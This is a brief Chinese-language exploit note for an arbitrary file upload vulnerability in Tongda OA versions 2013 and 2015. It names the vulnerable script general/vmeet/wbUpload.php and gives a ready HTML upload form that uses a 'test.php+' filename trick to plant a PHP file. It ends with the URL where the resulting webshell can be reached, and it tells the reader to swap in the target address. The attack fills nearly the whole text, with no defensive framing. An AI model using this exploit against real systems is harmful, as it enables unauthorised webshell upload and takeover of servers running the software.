通達OA 任意文件上傳-2013/2015版本

參考

http://wiki.0-sec.org/0day/%E9%80%9A%E8%BE%BEoa/11.html

 

影響版本

2013版本

2015版本

 

漏洞文件

general/vmeet/wbUpload.php

 

exp     修改標記的為目標地址

<form enctype="multipart/form-data" action="http://0-sec.org/general/vmeet/wbUpload.php
?fileName=test.php+" method="post">
<input type="file" name="Filedata" size="50"><br>
<input type="submit" value="Upload">
</form>

上傳jpg之后shell地址為

http://0-sec.org/general/vmeet/wbUpload/test.php